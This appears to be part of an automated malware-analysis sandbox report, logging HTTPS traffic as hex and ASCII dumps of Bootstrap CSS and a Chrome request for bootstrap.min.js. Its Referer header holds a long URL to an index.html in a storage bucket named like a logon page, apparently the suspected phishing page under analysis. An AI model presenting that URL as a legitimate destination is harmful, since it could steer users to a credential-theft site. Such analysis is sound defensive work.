2021-10-25 16:17:23 UTC	167	IN	Data Raw: 72 2d 74 61 62 73 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2d 2e 36 32 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2d 2e 37 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 2e 36 32 35 72 65 6d 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 63 61 72 64 2d 68 65 61 64 65 72 2d 70 69 6c 6c 73 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2d 2e 36 32 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 2e 36 32 35 72 65 6d 7d 2e 63 61 72 64 2d 69 6d 67 2d 6f 76 65 72 6c 61 79 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 72 69 67 68 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 3a 31 2e 32 35 72 65 6d 7d 2e 63 61 72 64 2d 69 6d 67 7b 77 69 64 74 68 3a 31 30 30 25 3b 62 6f Data Ascii: r-tabs{margin-right:-.625rem;margin-bottom:-.75rem;margin-left:-.625rem;border-bottom:0}.card-header-pills{margin-right:-.625rem;margin-left:-.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img{width:100%;bo
2021-10-25 16:17:23 UTC	171	IN	Data Raw: 78 3a 32 3b 6f 75 74 6c 69 6e 65 3a 30 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 30 2c 31 32 33 2c 32 35 35 2c 2e 32 35 29 7d 2e 70 61 67 65 2d 6c 69 6e 6b 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 70 61 67 65 2d 69 74 65 6d 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 2e 70 61 67 65 2d 6c 69 6e 6b 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 2e 32 35 72 65 6d 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 2e 32 35 72 65 6d 7d 2e 70 61 67 65 2d 69 74 65 6d 3a 6c 61 73 74 2d 63 68 69 6c 64 20 2e 70 61 67 65 2d 6c 69 6e Data Ascii: x:2;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.page-link:not(:disabled):not(.disabled){cursor:pointer}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.page-item:last-child .page-lin
2021-10-25 16:17:23 UTC	175	IN	Data Raw: 32 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 65 66 65 66 65 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 64 66 64 66 65 7d 2e 61 6c 65 72 74 2d 6c 69 67 68 74 20 68 72 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 23 65 63 65 63 66 36 7d 2e 61 6c 65 72 74 2d 6c 69 67 68 74 20 2e 61 6c 65 72 74 2d 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 36 38 36 38 36 38 7d 2e 61 6c 65 72 74 2d 64 61 72 6b 7b 63 6f 6c 6f 72 3a 23 31 62 31 65 32 31 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 36 64 38 64 39 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 63 36 63 38 63 61 7d 2e 61 6c 65 72 74 2d 64 61 72 6b 20 68 72 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 23 62 39 62 62 62 65 7d 2e 61 6c 65 72 74 2d 64 61 72 6b 20 2e 61 6c Data Ascii: 2;background-color:#fefefe;border-color:#fdfdfe}.alert-light hr{border-top-color:#ececf6}.alert-light .alert-link{color:#686868}.alert-dark{color:#1b1e21;background-color:#d6d8d9;border-color:#c6c8ca}.alert-dark hr{border-top-color:#b9bbbe}.alert-dark .al
2021-10-25 16:17:23 UTC	179	IN	Data Raw: 6f 72 3a 23 38 35 36 34 30 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 65 38 61 31 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 77 61 72 6e 69 6e 67 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 61 63 74 69 6f 6e 2e 61 63 74 69 76 65 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 38 35 36 34 30 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 38 35 36 34 30 34 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 64 61 6e 67 65 72 7b 63 6f 6c 6f 72 3a 23 37 32 31 63 32 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 35 63 36 63 62 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 64 61 6e 67 65 72 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 61 63 74 69 Data Ascii: or:#856404;background-color:#ffe8a1}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#856404;border-color:#856404}.list-group-item-danger{color:#721c24;background-color:#f5c6cb}.list-group-item-danger.list-group-item-acti
2021-10-25 16:17:23 UTC	183	IN	Data Raw: 72 64 2d 73 70 61 63 69 6e 67 3a 6e 6f 72 6d 61 6c 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 62 72 65 61 6b 3a 61 75 74 6f 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 72 65 6d 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 74 6f 6f 6c 74 69 70 2e 73 68 6f 77 7b 6f 70 61 63 69 74 79 3a 2e 39 7d 2e 74 6f 6f 6c 74 69 70 20 2e 61 72 72 6f 77 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 2e 38 72 65 6d 3b 68 65 69 67 68 74 3a 2e 34 72 65 6d 7d 2e 74 6f 6f 6c 74 69 70 20 2e 61 72 72 6f 77 3a 3a 62 65 66 6f 72 65 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 62 6f Data Ascii: rd-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:.9}.tooltip .arrow{position:absolute;display:block;width:.8rem;height:.4rem}.tooltip .arrow::before{position:absolute;content:"";bo
2021-10-25 16:17:23 UTC	186	IN	Data Raw: 38 30 30 30 0d 0a 77 2c 2e 62 73 2d 70 6f 70 6f 76 65 72 2d 72 69 67 68 74 20 2e 61 72 72 6f 77 7b 6c 65 66 74 3a 63 61 6c 63 28 28 2e 35 72 65 6d 20 2b 20 31 70 78 29 20 2a 20 2d 31 29 3b 77 69 64 74 68 3a 2e 35 72 65 6d 3b 68 65 69 67 68 74 3a 31 72 65 6d 3b 6d 61 72 67 69 6e 3a 2e 33 72 65 6d 20 30 7d 2e 62 73 2d 70 6f 70 6f 76 65 72 2d 61 75 74 6f 5b 78 2d 70 6c 61 63 65 6d 65 6e 74 5e 3d 72 69 67 68 74 5d 20 2e 61 72 72 6f 77 3a 3a 61 66 74 65 72 2c 2e 62 73 2d 70 6f 70 6f 76 65 72 2d 61 75 74 6f 5b 78 2d 70 6c 61 63 65 6d 65 6e 74 5e 3d 72 69 67 68 74 5d 20 2e 61 72 72 6f 77 3a 3a 62 65 66 6f 72 65 2c 2e 62 73 2d 70 6f 70 6f 76 65 72 2d 72 69 67 68 74 20 2e 61 72 72 6f 77 3a 3a 61 66 74 65 72 2c 2e 62 73 2d 70 6f 70 6f 76 65 72 2d 72 69 67 68 74 20 Data Ascii: 8000w,.bs-popover-right .arrow{left:calc((.5rem + 1px) * -1);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=right] .arrow::after,.bs-popover-auto[x-placement^=right] .arrow::before,.bs-popover-right .arrow::after,.bs-popover-right
2021-10-25 16:17:23 UTC	190	IN	Data Raw: 65 72 3b 6f 70 61 63 69 74 79 3a 2e 35 7d 2e 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 2d 6e 65 78 74 3a 66 6f 63 75 73 2c 2e 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 2d 6e 65 78 74 3a 68 6f 76 65 72 2c 2e 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 2d 70 72 65 76 3a 66 6f 63 75 73 2c 2e 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 2d 70 72 65 76 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 6f 75 74 6c 69 6e 65 3a 30 3b 6f 70 61 63 69 74 79 3a 2e 39 7d 2e 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 2d 70 72 65 76 7b 6c 65 66 74 3a 30 7d 2e 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 2d 6e 65 78 74 7b 72 69 67 68 74 3a 30 7d 2e 63 61 72 6f 75 73 65 6c 2d 63 Data Ascii: er;opacity:.5}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-c
2021-10-25 16:17:23 UTC	194	IN	Data Raw: 67 68 74 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 38 66 39 66 61 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 6f 72 64 65 72 2d 64 61 72 6b 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 33 34 33 61 34 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 6f 72 64 65 72 2d 77 68 69 74 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 72 6f 75 6e 64 65 64 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 72 6f 75 6e 64 65 64 2d 74 6f 70 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d Data Ascii: ght{border-color:#f8f9fa!important}.border-dark{border-color:#343a40!important}.border-white{border-color:#fff!important}.rounded{border-radius:.25rem!important}.rounded-top{border-top-left-radius:.25rem!important;border-top-right-radius:.25rem!important}
2021-10-25 16:17:23 UTC	199	IN	Data Raw: 2d 31 36 62 79 39 3a 3a 62 65 66 6f 72 65 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 35 36 2e 32 35 25 7d 2e 65 6d 62 65 64 2d 72 65 73 70 6f 6e 73 69 76 65 2d 34 62 79 33 3a 3a 62 65 66 6f 72 65 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 37 35 25 7d 2e 65 6d 62 65 64 2d 72 65 73 70 6f 6e 73 69 76 65 2d 31 62 79 31 3a 3a 62 65 66 6f 72 65 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 30 30 25 7d 2e 66 6c 65 78 2d 72 6f 77 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6c 65 78 Data Ascii: -16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{-webkit-box-orient:horizontal!important;-webkit-box-direction:normal!important;-ms-flex-direction:row!important;flex
2021-10-25 16:17:23 UTC	203	IN	Data Raw: 2d 62 6f 78 2d 70 61 63 6b 3a 73 74 61 72 74 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 73 74 61 72 74 21 69 6d 70 6f 72 74 61 6e 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 73 74 61 72 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 73 6d 2d 65 6e 64 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 65 6e 64 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 65 6e 64 21 69 6d 70 6f 72 74 61 6e 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 73 6d 2d 63 65 6e 74 65 72 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a Data Ascii: -box-pack:start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-sm-end{-webkit-box-pack:end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-sm-center{-webkit-box-pack:
2021-10-25 16:17:23 UTC	207	IN	Data Raw: 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 62 61 73 65 6c 69 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6c 69 67 6e 2d 69 74 65 6d 73 2d 6d 64 2d 73 74 72 65 74 63 68 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6c 69 67 6e 3a 73 74 72 65 74 63 68 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 73 74 72 65 74 63 68 21 69 6d 70 6f 72 74 61 6e 74 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 73 74 72 65 74 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6c 69 67 6e 2d 63 6f 6e 74 65 6e 74 2d 6d 64 2d 73 74 61 72 74 7b 2d 6d 73 2d 66 6c 65 78 2d 6c 69 6e 65 2d 70 61 63 6b 3a 73 74 61 72 74 21 69 6d 70 6f 72 74 61 6e 74 3b 61 6c 69 67 6e 2d 63 6f 6e 74 65 Data Ascii: -flex-align:baseline!important;align-items:baseline!important}.align-items-md-stretch{-webkit-box-align:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-md-start{-ms-flex-line-pack:start!important;align-conte
2021-10-25 16:17:23 UTC	211	IN	Data Raw: 6c 66 3a 66 6c 65 78 2d 65 6e 64 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6c 69 67 6e 2d 73 65 6c 66 2d 6c 67 2d 63 65 6e 74 65 72 7b 2d 6d 73 2d 66 6c 65 78 2d 69 74 65 6d 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 21 69 6d 70 6f 72 74 61 6e 74 3b 61 6c 69 67 6e 2d 73 65 6c 66 3a 63 65 6e 74 65 72 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6c 69 67 6e 2d 73 65 6c 66 2d 6c 67 2d 62 61 73 65 6c 69 6e 65 7b 2d 6d 73 2d 66 6c 65 78 2d 69 74 65 6d 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 61 6c 69 67 6e 2d 73 65 6c 66 3a 62 61 73 65 6c 69 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 61 6c 69 67 6e 2d 73 65 6c 66 2d 6c 67 2d 73 74 72 65 74 63 68 7b 2d 6d 73 2d 66 6c 65 78 2d 69 74 65 6d 2d 61 6c 69 67 6e 3a 73 74 72 65 74 63 68 21 69 6d Data Ascii: lf:flex-end!important}.align-self-lg-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-lg-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-lg-stretch{-ms-flex-item-align:stretch!im
2021-10-25 16:17:23 UTC	215	IN	Data Raw: 74 69 6f 6e 2d 72 65 6c 61 74 69 76 65 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 6f 73 69 74 69 6f 6e 2d 61 62 73 6f 6c 75 74 65 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 6f 73 69 74 69 6f 6e 2d 66 69 78 65 64 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 6f 73 69 74 69 6f 6e 2d 73 74 69 63 6b 79 7b 70 6f 73 69 74 69 6f 6e 3a 2d 77 65 62 6b 69 74 2d 73 74 69 63 6b 79 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 73 74 69 63 6b 79 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 69 78 65 64 2d 74 6f 70 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 30 3b 72 69 67 68 74 3a 30 3b 6c 65 66 74 3a 30 3b 7a Data Ascii: tion-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.fixed-top{position:fixed;top:0;right:0;left:0;z
2021-10-25 16:17:23 UTC	218	IN	Data Raw: 33 39 66 35 0d 0a 7d 2e 70 2d 35 7b 70 61 64 64 69 6e 67 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 74 2d 35 2c 2e 70 79 2d 35 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 72 2d 35 2c 2e 70 78 2d 35 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 62 2d 35 2c 2e 70 79 2d 35 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 6c 2d 35 2c 2e 70 78 2d 35 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 2d 61 75 74 6f 7b 6d 61 72 67 69 6e 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 74 2d 61 75 74 6f 2c 2e 6d 79 2d 61 75 74 6f 7b 6d 61 72 67 69 6e 2d 74 6f 70 Data Ascii: 39f5}.p-5{padding:3rem!important}.pt-5,.py-5{padding-top:3rem!important}.pr-5,.px-5{padding-right:3rem!important}.pb-5,.py-5{padding-bottom:3rem!important}.pl-5,.px-5{padding-left:3rem!important}.m-auto{margin:auto!important}.mt-auto,.my-auto{margin-top
2021-10-25 16:17:23 UTC	222	IN	Data Raw: 6d 78 2d 6d 64 2d 34 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 62 2d 6d 64 2d 34 2c 2e 6d 79 2d 6d 64 2d 34 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6c 2d 6d 64 2d 34 2c 2e 6d 78 2d 6d 64 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 2d 6d 64 2d 35 7b 6d 61 72 67 69 6e 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 74 2d 6d 64 2d 35 2c 2e 6d 79 2d 6d 64 2d 35 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 72 2d 6d 64 2d 35 2c 2e 6d 78 2d 6d 64 2d 35 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e Data Ascii: mx-md-4{margin-right:1.5rem!important}.mb-md-4,.my-md-4{margin-bottom:1.5rem!important}.ml-md-4,.mx-md-4{margin-left:1.5rem!important}.m-md-5{margin:3rem!important}.mt-md-5,.my-md-5{margin-top:3rem!important}.mr-md-5,.mx-md-5{margin-right:3rem!important}.
2021-10-25 16:17:23 UTC	226	IN	Data Raw: 6f 74 74 6f 6d 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 6c 2d 6c 67 2d 34 2c 2e 70 78 2d 6c 67 2d 34 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 2d 6c 67 2d 35 7b 70 61 64 64 69 6e 67 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 74 2d 6c 67 2d 35 2c 2e 70 79 2d 6c 67 2d 35 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 72 2d 6c 67 2d 35 2c 2e 70 78 2d 6c 67 2d 35 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 62 2d 6c 67 2d 35 2c 2e 70 79 2d 6c 67 2d 35 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 6c 2d 6c 67 2d 35 2c 2e 70 78 2d Data Ascii: ottom:1.5rem!important}.pl-lg-4,.px-lg-4{padding-left:1.5rem!important}.p-lg-5{padding:3rem!important}.pt-lg-5,.py-lg-5{padding-top:3rem!important}.pr-lg-5,.px-lg-5{padding-right:3rem!important}.pb-lg-5,.py-lg-5{padding-bottom:3rem!important}.pl-lg-5,.px-
2021-10-25 16:17:23 UTC	231	IN	Data Raw: 65 78 74 2d 78 6c 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 74 65 78 74 2d 6c 6f 77 65 72 63 61 73 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6c 6f 77 65 72 63 61 73 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 75 70 70 65 72 63 61 73 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 63 61 70 69 74 61 6c 69 7a 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 63 61 70 69 74 61 6c 69 7a 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6f 6e 74 2d 77 65 69 67 68 74 2d 6c 69 67 68 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6f 6e 74 2d 77 65 69 67 68 74 Data Ascii: ext-xl-center{text-align:center!important}}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.font-weight-light{font-weight:300!important}.font-weight
2021-10-25 16:17:23 UTC	233	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49755	104.18.10.207	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-25 16:17:23 UTC	40	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive Origin: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2021-10-25 16:17:23 UTC	73	IN	HTTP/1.1 200 OK Date: Mon, 25 Oct 2021 16:17:23 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-CachedAt: 08/04/2021 00:04:37 CDN-EdgeStorageId: 601 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-ProxyVer: 1.0 CDN-Status: 200 CDN-RequestId: fc38653b79bcd5db21c0fa31d488bc0f CDN-Cache: HIT CF-Cache-Status: MISS Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare 